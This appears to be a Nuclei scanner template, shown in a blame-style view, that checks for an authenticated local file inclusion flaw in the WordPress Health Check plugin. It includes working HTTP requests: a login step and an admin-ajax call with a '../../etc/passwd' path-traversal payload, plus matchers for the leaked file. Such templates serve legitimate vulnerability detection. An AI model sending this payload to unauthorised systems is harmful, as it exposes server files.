2022-05-01 10:09:20 +00:00
|
|
|
id: health-check-lfi
|
|
|
|
|
|
|
|
info:
|
2022-08-05 13:57:51 +00:00
|
|
|
name: WordPress Health Check & Troubleshooting <1.24 - Local File Inclusion
|
2022-05-01 10:09:20 +00:00
|
|
|
author: DhiyaneshDK
|
|
|
|
severity: high
|
2022-08-05 13:57:51 +00:00
|
|
|
description: WordPress Health Check & Troubleshooting prior to 1.2.4 is vulnerable to local file inclusion. Exploitation does require authentication.
|
|
|
|
remediation: Upgrade to version 1.2.4 or later.
|
2022-05-01 10:09:20 +00:00
|
|
|
reference:
|
|
|
|
- https://wpscan.com/vulnerability/5eecc4a7-0b44-495d-9352-78dccebfc72a
|
|
|
|
- https://www.synacktiv.com/ressources/advisories/WordPress_Health_Check_1.2.3_Vulnerabilities.pdf
|
2022-08-05 13:57:51 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: lfi,wp,wordpress,wp-plugin,authenticated,lfr,wpscan
|
2022-05-01 10:09:20 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-05-01 10:09:20 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /wp-login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
|
|
- |
|
|
|
|
POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
action=health-check-view-file-diff&file=../../../../../../etc/passwd
|
2022-05-02 19:42:36 +00:00
|
|
|
|
2022-05-01 10:09:20 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
2022-05-02 19:42:36 +00:00
|
|
|
part: body
|
2022-05-01 10:09:20 +00:00
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- application/json
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-27 10:10:24 +00:00
|
|
|
# digest: 4a0a00473045022100ebd6669cf9a2d05bfd81775015ccd292b64ce24241d82f8b18dccbcd7534c0db02204ee07ee1f2607d3ba9d1da94a8e87d814fe3658baae403d9cc90aca1e57682bb:922c64590222798bb761d5b6d8e72950
|